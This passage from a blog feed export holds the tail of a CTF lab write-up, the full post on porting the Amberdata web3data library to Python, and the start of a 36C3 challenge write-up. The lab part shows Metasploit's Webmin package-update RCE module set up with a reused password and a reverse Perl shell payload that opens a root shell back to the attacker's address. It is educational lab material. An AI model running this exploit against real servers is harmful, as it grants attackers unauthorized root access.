Metasploit:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">msf5<\/span><span class=\"w\"> <\/span><span class=\"n\">exploit<\/span><span class=\"p\">(<\/span><span class=\"n\">linux<\/span><span class=\"o\">\/<\/span><span class=\"n\">http<\/span><span class=\"o\">\/<\/span><span class=\"n\">webmin_packageup_rce<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"n\">options<\/span>\n\n<span class=\"k\">Module<\/span><span class=\"w\"> <\/span><span class=\"nn\">options<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">exploit<\/span><span class=\"o\">\/<\/span><span class=\"n\">linux<\/span><span class=\"o\">\/<\/span><span class=\"n\">http<\/span><span class=\"o\">\/<\/span><span class=\"n\">webmin_packageup_rce<\/span><span class=\"p\">):<\/span>\n\n<span class=\"w\">   <\/span><span class=\"n\">Name<\/span><span class=\"w\">       <\/span><span class=\"n\">Current<\/span><span class=\"w\"> <\/span><span class=\"n\">Setting<\/span><span class=\"w\">  <\/span><span class=\"n\">Required<\/span><span class=\"w\">  <\/span><span class=\"n\">Description<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">----<\/span><span class=\"w\">       <\/span><span class=\"o\">---------------<\/span><span class=\"w\">  <\/span><span class=\"o\">--------<\/span><span class=\"w\">  <\/span><span class=\"o\">-----------<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">PASSWORD<\/span><span class=\"w\">   <\/span><span class=\"n\">computer2008<\/span><span class=\"w\">     <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">Webmin<\/span><span class=\"w\"> <\/span><span class=\"n\">Password<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">Proxies<\/span><span class=\"w\">                     <\/span><span class=\"n\">no<\/span><span class=\"w\">        <\/span><span class=\"n\">A<\/span><span class=\"w\"> <\/span><span class=\"n\">proxy<\/span><span class=\"w\"> <\/span><span class=\"n\">chain<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">format<\/span><span class=\"w\"> <\/span><span class=\"n\">type<\/span><span class=\"p\">:<\/span><span class=\"n\">host<\/span><span class=\"p\">:<\/span><span class=\"n\">port<\/span><span class=\"o\">[<\/span><span class=\"p\">,<\/span><span class=\"n\">type<\/span><span class=\"p\">:<\/span><span class=\"n\">host<\/span><span class=\"p\">:<\/span><span class=\"n\">port<\/span><span class=\"o\">][<\/span><span class=\"p\">...<\/span><span class=\"o\">]<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">RHOSTS<\/span><span class=\"w\">     <\/span><span class=\"mf\">10.10<\/span><span class=\"p\">.<\/span><span class=\"mf\">10.160<\/span><span class=\"w\">     <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">The<\/span><span class=\"w\"> <\/span><span class=\"n\">target<\/span><span class=\"w\"> <\/span><span class=\"n\">host<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"n\">range<\/span><span class=\"w\"> <\/span><span class=\"n\">CIDR<\/span><span class=\"w\"> <\/span><span class=\"n\">identifier<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">hosts<\/span><span class=\"w\"> <\/span><span class=\"n\">file<\/span><span class=\"w\"> <\/span><span class=\"k\">with<\/span><span class=\"w\"> <\/span><span class=\"n\">syntax<\/span><span class=\"w\"> <\/span><span class=\"c\">&#39;file:&lt;path&gt;&#39;<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">RPORT<\/span><span class=\"w\">      <\/span><span class=\"mi\">10000<\/span><span class=\"w\">            <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">The<\/span><span class=\"w\"> <\/span><span class=\"n\">target<\/span><span class=\"w\"> <\/span><span class=\"n\">port<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">TCP<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">SSL<\/span><span class=\"w\">        <\/span><span class=\"k\">true<\/span><span class=\"w\">             <\/span><span class=\"n\">no<\/span><span class=\"w\">        <\/span><span class=\"n\">Negotiate<\/span><span class=\"w\"> <\/span><span class=\"n\">SSL<\/span><span class=\"o\">\/<\/span><span class=\"n\">TLS<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">outgoing<\/span><span class=\"w\"> <\/span><span class=\"n\">connections<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">TARGETURI<\/span><span class=\"w\">  <\/span><span class=\"o\">\/<\/span><span class=\"w\">                <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">Base<\/span><span class=\"w\"> <\/span><span class=\"n\">path<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">Webmin<\/span><span class=\"w\"> <\/span><span class=\"n\">application<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">USERNAME<\/span><span class=\"w\">   <\/span><span class=\"n\">Matt<\/span><span class=\"w\">             <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">Webmin<\/span><span class=\"w\"> <\/span><span class=\"n\">Username<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">VHOST<\/span><span class=\"w\">                       <\/span><span class=\"n\">no<\/span><span class=\"w\">        <\/span><span class=\"n\">HTTP<\/span><span class=\"w\"> <\/span><span class=\"n\">server<\/span><span class=\"w\"> <\/span><span class=\"n\">virtual<\/span><span class=\"w\"> <\/span><span class=\"n\">hostPayload<\/span><span class=\"w\"> <\/span><span class=\"n\">options<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">cmd<\/span><span class=\"o\">\/<\/span><span class=\"n\">unix<\/span><span class=\"o\">\/<\/span><span class=\"n\">reverse_perl<\/span><span class=\"p\">):<\/span>\n\n<span class=\"w\">   <\/span><span class=\"n\">Name<\/span><span class=\"w\">   <\/span><span class=\"n\">Current<\/span><span class=\"w\"> <\/span><span class=\"n\">Setting<\/span><span class=\"w\">  <\/span><span class=\"n\">Required<\/span><span class=\"w\">  <\/span><span class=\"n\">Description<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">----<\/span><span class=\"w\">   <\/span><span class=\"o\">---------------<\/span><span class=\"w\">  <\/span><span class=\"o\">--------<\/span><span class=\"w\">  <\/span><span class=\"o\">-----------<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">LHOST<\/span><span class=\"w\">  <\/span><span class=\"mf\">10.10<\/span><span class=\"p\">.<\/span><span class=\"mf\">14.13<\/span><span class=\"w\">      <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">The<\/span><span class=\"w\"> <\/span><span class=\"n\">listen<\/span><span class=\"w\"> <\/span><span class=\"n\">address<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">an<\/span><span class=\"w\"> <\/span><span class=\"k\">interface<\/span><span class=\"w\"> <\/span><span class=\"n\">may<\/span><span class=\"w\"> <\/span><span class=\"n\">be<\/span><span class=\"w\"> <\/span><span class=\"n\">specified<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"n\">LPORT<\/span><span class=\"w\">  <\/span><span class=\"mi\">4444<\/span><span class=\"w\">             <\/span><span class=\"n\">yes<\/span><span class=\"w\">       <\/span><span class=\"n\">The<\/span><span class=\"w\"> <\/span><span class=\"n\">listen<\/span><span class=\"w\"> <\/span><span class=\"n\">portExploit<\/span><span class=\"w\"> <\/span><span class=\"n\">target<\/span><span class=\"p\">:<\/span>\n\n<span class=\"w\">   <\/span><span class=\"n\">Id<\/span><span class=\"w\">  <\/span><span class=\"n\">Name<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">--<\/span><span class=\"w\">  <\/span><span class=\"o\">----<\/span>\n<span class=\"w\">   <\/span><span class=\"mi\">0<\/span><span class=\"w\">   <\/span><span class=\"n\">Webmin<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;=<\/span><span class=\"w\"> <\/span><span class=\"mf\">1.910<\/span>\n<\/code><\/pre><\/div>\n\n<p>Firing this we end up with a root shell:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">msf5<\/span><span class=\"w\"> <\/span><span class=\"n\">exploit<\/span><span class=\"p\">(<\/span><span class=\"n\">linux<\/span><span class=\"o\">\/<\/span><span class=\"n\">http<\/span><span class=\"o\">\/<\/span><span class=\"n\">webmin_packageup_rce<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"n\">exploit<\/span>\n\n<span class=\"p\">[<\/span><span class=\"o\">*<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"n\">Started<\/span><span class=\"w\"> <\/span><span class=\"n\">reverse<\/span><span class=\"w\"> <\/span><span class=\"n\">TCP<\/span><span class=\"w\"> <\/span><span class=\"n\">handler<\/span><span class=\"w\"> <\/span><span class=\"n\">on<\/span><span class=\"w\"> <\/span><span class=\"mf\">10.10<\/span><span class=\"o\">.<\/span><span class=\"mf\">14.13<\/span><span class=\"p\">:<\/span><span class=\"mi\">4444<\/span>\n<span class=\"p\">[<\/span><span class=\"o\">+<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"n\">Session<\/span><span class=\"w\"> <\/span><span class=\"n\">cookie<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">93<\/span><span class=\"n\">a0b7c6234b1354928550dc12865af2<\/span>\n<span class=\"p\">[<\/span><span class=\"o\">*<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"n\">Attempting<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">execute<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">payload<\/span><span class=\"o\">...<\/span>\n<span class=\"p\">[<\/span><span class=\"o\">*<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"n\">Command<\/span><span class=\"w\"> <\/span><span class=\"n\">shell<\/span><span class=\"w\"> <\/span><span class=\"n\">session<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"n\">opened<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mf\">10.10<\/span><span class=\"o\">.<\/span><span class=\"mf\">14.13<\/span><span class=\"p\">:<\/span><span class=\"mi\">4444<\/span><span class=\"w\"> <\/span><span class=\"o\">-&gt;<\/span><span class=\"w\"> <\/span><span class=\"mf\">10.10<\/span><span class=\"o\">.<\/span><span class=\"mf\">10.160<\/span><span class=\"p\">:<\/span><span class=\"mi\">43526<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">at<\/span><span class=\"w\"> <\/span><span class=\"mi\">2019<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mi\">08<\/span><span class=\"w\"> <\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">58<\/span><span class=\"p\">:<\/span><span class=\"mi\">17<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"mi\">0000<\/span>\n<span class=\"n\">id<\/span>\n<span class=\"n\">uid<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">(<\/span><span class=\"n\">root<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">gid<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">(<\/span><span class=\"n\">root<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">groups<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">(<\/span><span class=\"n\">root<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>... and the root flag is secured.<\/p>\n<p>If there is anything to be learnt here, it is to never use Redis as an open service to the internet, and to always make sure your users do not reuse their passwords. Especially not if they're as crappy as <code>computer2008<\/code>. Often times users are not doing this because they're stupid, but rather because they lack vital security education. So let's not rant too much about Matt and hope his employer is going to send him to some nice workshops to get him up to speed. :)<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"The Web3 API has come to Python!","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/03\/15\/the-web3-api-has-come-to-python.html","rel":"alternate"}},"published":"2020-03-15T00:00:00+01:00","updated":"2020-03-15T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-03-15:\/2020\/03\/15\/the-web3-api-has-come-to-python.html","summary":"<p>Last week I received an email in my inbox about a hackathon hosted by the awesome folks over at <a href=\"http:\/\/amberdata.io\/\">Amberdata<\/a>. They are a provider for on-chain data and cover a large variety of blockchains - including Ethereum, Bitcoin, and Stellar. I have met the developers in the team in late 2018 \u2026<\/p>","content":"<p>Last week I received an email in my inbox about a hackathon hosted by the awesome folks over at <a href=\"http:\/\/amberdata.io\/\">Amberdata<\/a>. They are a provider for on-chain data and cover a large variety of blockchains - including Ethereum, Bitcoin, and Stellar. I have met the developers in the team in late 2018 when I was looking for my next gig in the Ethereum ecosystem and long before that I was stunned by the large variety and volume of data they are handling.<\/p>\n<p>I have already written before about how consuming raw blockchain data with commodity hardware comes close to drinking from a fire hose. There is an inherent need for making the data easily consumable - first programmatically, and with that in a manner that focuses on user experience.<\/p>\n<p><a href=\"https:\/\/docs.amberdata.io\/reference#reference-getting-started\">Amberdata's API<\/a> covers the programmatic aspect by providing three categories of endpoints: REST, RPC, and Websockets. These are surfaced through raw API interaction, and an in-house JavaScript library they have developed - <a href=\"https:\/\/github.com\/web3data\/web3data-js\">web3data-js<\/a>.<\/p>\n<p>Friends and colleagues will know that I am a JavaScript survivor with a passion for Python, and with my girlfriend being out of town for a week, and the Coronavirus ravaging my region, going out was not the best idea to begin with. So let's bring blockchain data to the Python world and <a href=\"https:\/\/github.com\/dmuhs\/web3data-py\">migrate the official library<\/a>!<\/p>\n<h2>Starting Out<\/h2>\n<p>Hackathon projects, which especially the Ethereum system has lots of, typically follow the same steps:<\/p>\n<ol>\n<li>Go to a kickass blockchain event such as <a href=\"https:\/\/www.ethdenver.com\/\">ETHDenver<\/a>, <a href=\"http:\/\/ethcc.io\/\">EthCC<\/a>, or an <a href=\"https:\/\/www.etherealsummit.com\/\">Ethereal Summit<\/a><\/li>\n<li>Pick a project that you think is worth hacking on.<\/li>\n<li>Fall into a 3-day caffeine-fuelled coding rage and bring it to life.<\/li>\n<li>Publish, drop maintenance immediately, rinse and repeat.<\/li>\n<\/ol>\n<p>My goal for this hackathon was different. What if instead of building a ton of hacky with features I cannot maintain, I would instead focus on building maintainable software that people can actually use as a daily driver?<\/p>\n<p><img alt=\"Image\" src=\"https:\/\/i.imgflip.com\/3soerm.jpg\"><\/p>\n<p>So I sat down, read through the JS library and came up with a small roadmap that I would focus on for the coming three days. After all, the caffeine-fuelled coding rage part of the standard hackathon approach is something we don't have to drop necessarily.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/web3-api-python\/screenshot-from-2020-03-15-13-58-11.png\" data-pswp-width=\"962\" data-pswp-height=\"953\" target=\"_blank\">\n        <img src=\"\/blog\/web3-api-python\/screenshot-from-2020-03-15-13-58-11.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<h2>Implementation<\/h2>\n<p>The implementation process went smoothly. I lost a few hours playing around with dynamic method binding. This would have allowed the client to dynamically register API call methods based on whether the specified chain is supported by the endpoint. In <a href=\"https:\/\/github.com\/web3data\/web3data-js\/blob\/master\/src\/utils.js#L141\">web3data-js is<\/a> looks something like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * Appends blockchain specific methods to an instance of Web3Data under it&#39;s<\/span>\n<span class=\"cm\">correct namespacing.<\/span>\n<span class=\"cm\"> *<\/span>\n<span class=\"cm\"> * @param _this - Instance of Web3Data to append methods.<\/span>\n<span class=\"cm\"> * @param includeMethods<\/span>\n<span class=\"cm\"> * @private<\/span>\n<span class=\"cm\"> * @example<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">const<\/span><span class=\"w\"> <\/span><span class=\"nx\">methodFactory<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">_this<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">includeMethods<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">=&gt;<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"nb\">Object<\/span><span class=\"p\">.<\/span><span class=\"nx\">keys<\/span><span class=\"p\">(<\/span><span class=\"nx\">includeMethods<\/span><span class=\"p\">).<\/span><span class=\"nx\">forEach<\/span><span class=\"p\">(<\/span><span class=\"nx\">namespace<\/span><span class=\"w\"> <\/span><span class=\"p\">=&gt;<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">getMethods<\/span><span class=\"p\">(<\/span><span class=\"nb\">Object<\/span><span class=\"p\">.<\/span><span class=\"nx\">getPrototypeOf<\/span><span class=\"p\">(<\/span><span class=\"nx\">_this<\/span><span class=\"p\">.<\/span><span class=\"nx\">web3data<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">])).<\/span><span class=\"nx\">forEach<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">      <\/span><span class=\"nx\">method<\/span><span class=\"w\"> <\/span><span class=\"p\">=&gt;<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">includeMethods<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">].<\/span><span class=\"nx\">includes<\/span><span class=\"p\">(<\/span><span class=\"nx\">method<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">          <\/span><span class=\"nx\">_this<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">_this<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"nx\">_this<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{}<\/span>\n<span class=\"w\">          <\/span><span class=\"nx\">_this<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">][<\/span><span class=\"nx\">method<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">_this<\/span><span class=\"p\">.<\/span><span class=\"nx\">web3data<\/span><span class=\"p\">[<\/span><span class=\"nx\">namespace<\/span><span class=\"p\">][<\/span><span class=\"nx\">method<\/span><span class=\"p\">].<\/span><span class=\"nx\">bind<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">            <\/span><span class=\"nx\">_this<\/span>\n<span class=\"w\">          <\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">)<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">})<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nx\">_this<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>This is also possible in Python using the <a href=\"https:\/\/docs.python.org\/3\/library\/types.html#types.MethodType\">MethodType<\/a> class. It allows you to dynamically bind functions to classes as methods. The disadvantage: This is done during runtime, so while an interactive shell such as ipython would show the correctly registered methods, static analysis employed by IDEs such as PyCharm would fail to resolve the correct signature. The solution: <a href=\"https:\/\/www.python.org\/dev\/peps\/pep-0484\/#stub-files\">Stub files according to PEP484<\/a>. These can be picked up by IDEs implementing the standard, however, dynamic resolution is now impossible as <code>pyi<\/code> interface files do not allow for runtime code to dynamically omit signatures. Long story short and following the Zen of Python: Explicit is better than implicit. So I went with explicit method definitions for each sub handler and threw exceptions on invalid chain-endpoint combinations.<\/p>\n<p>This bears two major advantages: Code completion and runtime-checks are still available through IDEs and interactive shells, and developers are notified early if they are using an invalid API call, even before the request is sent. This adds a bit more robustness to the <a href=\"https:\/\/github.com\/dmuhs\/web3data-py\">library<\/a>.<\/p>\n<h2>Minor Obstacles<\/h2>\n<p>There were minor pain points during the implementation that I thought are worth sharing.<\/p>\n<ol>\n<li>Amberdata uses <a href=\"https:\/\/mythx.io\/\">MythX<\/a> for automated smart contract security checks on Ethereum Mainnet and Rinkeby. This endpoint returns empty response bodies for non-Ethereum chains (where smart contracts don't exist), instead of a valid message body containing an error along with a verbose message for the developer.<\/li>\n<li>The endpoint for token price information returns a 400 (Bad Request) if there is no price information available for the specified token address. Following best practices, a 404 (Not Found) would be more appropriate here as the request might be valid but the backend simply lacks the data to process it.<\/li>\n<li>The <a href=\"https:\/\/docs.amberdata.io\/reference\">API documentation<\/a> does not make clear which REST endpoint is supported by which blockchain. Once I finished the first implementation, I simply wrote a script that checks all endpoints with all available chains, printing out an overview of supported endpoints (basically filtering out 444 Not Supported return codes).<\/li>\n<li>Various endpoints (such as the logs for a smart contract address) return a JSON error response stating <em>\"request was invalid or cannot be served. See message for details\"<\/em>, however the message key inside the response carries an empty string.<\/li>\n<li>.. and the most obvious challenge in trying to implement a full-fledged API client: There are <em>a lot<\/em> of endpoints, and each of them can be hit with a different chain. Orchestrating these calls in a client library can be very rough if the developer has not spent enough time about their software architecture. This could also make it harder for developers to support new endpoints or blockchains in the future because it suddenly might require deep code changes. Luckily, the official JavaScript library (while here and there hard to read), provides a good starting point. A general blog article about client library integration would have saved me some troubles along the way, however. :)<\/li>\n<\/ol>\n<p>I hope that the Amberdata team can pick up on some of these issues (even though I might be nitpicking here), and provide a smoother integration experience. As a backend engineer, I definitely sympathise with the problem of always double- and triple-checking your work, testing over and over again, and making sure things are smooth for developers - no matter what their requirements might be.<\/p>\n<h2>TESTS, TESTS, TESTS, TESTS, TE...<\/h2>\n<p>The good thing about having the same functionality for multiple groups of chains? <a href=\"http:\/\/doc.pytest.org\/en\/latest\/example\/parametrize.html\">Parametrised tests<\/a>. In no time I wrote 667 unit tests covering 100% of the client library's branches, including the few edge cases our client business logic encompasses.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/web3-api-python\/screenshot-from-2020-03-15-14-31-30.png\" data-pswp-width=\"1076\" data-pswp-height=\"793\" target=\"_blank\">\n        <img src=\"\/blog\/web3-api-python\/screenshot-from-2020-03-15-14-31-30.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>A decent coverage metric is one more indicator that we have a production-ready package in front of us.<\/p>\n<h2>Documentation<\/h2>\n<p>Each method inside of <a href=\"https:\/\/github.com\/dmuhs\/web3data-py\">web3data-py<\/a> is fully documented. This includes additional keyword arguments used for filtering the results. The docstrings are mainly based on the Amberdata API reference, including some extra notes where necessary. This fulfills another quality indicator: At the time of initial release, the <a href=\"https:\/\/github.com\/dmuhs\/web3data-py\">web3data-py<\/a> project contains 706 lines of code, and 832 lines of docstrings. The existing code is rigorously documented in each file, and additionally elaborated on in the Sphinx documentation hosted on <a href=\"https:\/\/web3data-py.readthedocs.io\/\">ReadTheDocs<\/a>. It is worth noting that this step took the most time to finish.<\/p>\n<h2>Endgame<\/h2>\n<p>For the last stage I planned the usual stuff I do when building Python libraries. My tools of the trade are:<\/p>\n<ul>\n<li><a href=\"https:\/\/pypi.org\/project\/bumpversion\/\">bumpversion<\/a>: Allows for easy release management by replacing strings across the project. Also automatically creates tags and commits.<\/li>\n<li><a href=\"https:\/\/pyup.io\/\">PyUp<\/a>: Automatically update Python dependencies and opening pull requests on the repository to upgrade things.<\/li>\n<li><a href=\"https:\/\/travis-ci.org\/\">Travis<\/a>: My CI service of choice - free for open-source projects and pretty on the YAML side.<\/li>\n<li><a href=\"https:\/\/www.sphinx-doc.org\/\">Sphinx<\/a>: The Python gold standard for documentation, and quick to get started with thanks to <a href=\"https:\/\/www.sphinx-doc.org\/en\/master\/usage\/extensions\/autodoc.html\">Autodoc<\/a>.<\/li>\n<li><a href=\"https:\/\/web3data-py.readthedocs.org\/\">ReadTheDocs<\/a>: Easy and painless hosting, free for open-source projects and integrates perfectly with the default Sphinx build pipeline.<\/li>\n<li><a href=\"https:\/\/coveralls.io\/github\/dmuhs\/web3data-py\">Coveralls<\/a>: A service to keep track of coverage metrics, integrates very well with Travis.<\/li>\n<li><a href=\"https:\/\/github.com\/audreyr\/cookiecutter-pypackage\">Cookiecutter<\/a> (pypackage): Always helps to quickly set up a new Python package. Some manual assembly is required here, but the more you do it, the easier it becomes.<\/li>\n<li><a href=\"https:\/\/github.com\/psf\/black\">Black<\/a>: Automatic formatting for great good!<\/li>\n<li><a href=\"https:\/\/github.com\/psf\/black\">isort<\/a>: Alphabetically sort imports to satisfy my tingling sense of German order.<\/li>\n<\/ul>\n<p>Retrospectively, the endgame was mainly focused on getting things in order. Setting up service integrations, getting CI and automatic package publishing to work, hosting the RTD documentation, getting Autodoc to work, slapping badges in the repo's readme file, etc.<\/p>\n<h2>Future Work<\/h2>\n<p>Let's not forget I have a day job and need to bring home the bacon. Nonetheless, if time allows, I would like to extend <a href=\"https:\/\/github.com\/dmuhs\/web3data-py\">this project<\/a> with two more features:<\/p>\n<ul>\n<li>RPC calls<\/li>\n<li>Websocket subscriptions<\/li>\n<\/ul>\n<p>Especially the last one is a feature where the Amberdata API manages to shine. It would be a shame not to have support for it on board. With the additional tooling such as broad unit tests running regularly on CI, automatic dependency updates, easy release management, etc. on board, I am confident that I can keep maintaining this package - and that's what I call a great hackathon outcome.I hope that you, the reader, will find joy in <a href=\"https:\/\/pypi.org\/project\/web3data\/\">this package<\/a>. Please don't hesitate to show me what you have built with it on Twitter!<em>Happy Hacking!<\/em><\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"36C3 Telnet Challenge (Cat CTF)","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/01\/18\/36c3-telnet-challenge-cat-ctf.html","rel":"alternate"}},"published":"2020-01-18T00:00:00+01:00","updated":"2020-01-18T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-01-18:\/2020\/01\/18\/36c3-telnet-challenge-cat-ctf.html","summary":"<p>This is a write-up from the 36th Chaos Communication Congress, 2019. It has been my fourth Congress. Timed shortly after Christmas, it feels like meeting a second kind of family after the holidays. Hackers from all over the world gather in Leipzig to celebrate the weirdness of our community, break \u2026<\/p>","content":"<p>This is a write-up from the 36th Chaos Communication Congress, 2019. It has been my fourth Congress. Timed shortly after Christmas, it feels like meeting a second kind of family after the holidays. Hackers from all over the world gather in Leipzig to celebrate the weirdness of our community, break technology, learn new things, and have caffeine-fuelled fun.On my initial recon walk with friends we stumbled across the following poster.<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-11.24.14.jpg\" data-pswp-width=\"4640\" data-pswp-height=\"2610\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-11.24.14_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-12.52.05.jpg\" data-pswp-width=\"1080\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-12.52.05_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>I walked by the Telnet booth and checked out the challenge. Some people were already gathered around a hot wire. The cat was in a glass box next to them - not waving. It was fairly easy to notice that the blinking cat eyes were transmitting Morse code. I quickly got into a chat with a great guy and together we decoded the message. It was talking about RFID and begged to help it wave again. One of the booth members was nice enough to provide us with an RFID card whose code didn't change with every transaction. That's where the journey begins.<\/p>\n<h2>Step 1: Authenticating<\/h2>\n<p>We noticed a small RFID sensor next to the hot wire. Holding the card onto it the display started to read \"RFID\". The challenge: Solve the hot wire without any errors in under 60 seconds and you get the next hint. It took a couple of tries, but we ended up with a thermal printout:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.05.20.jpg\" data-pswp-width=\"2610\" data-pswp-height=\"4640\" target=\"_blank\">\n        <img 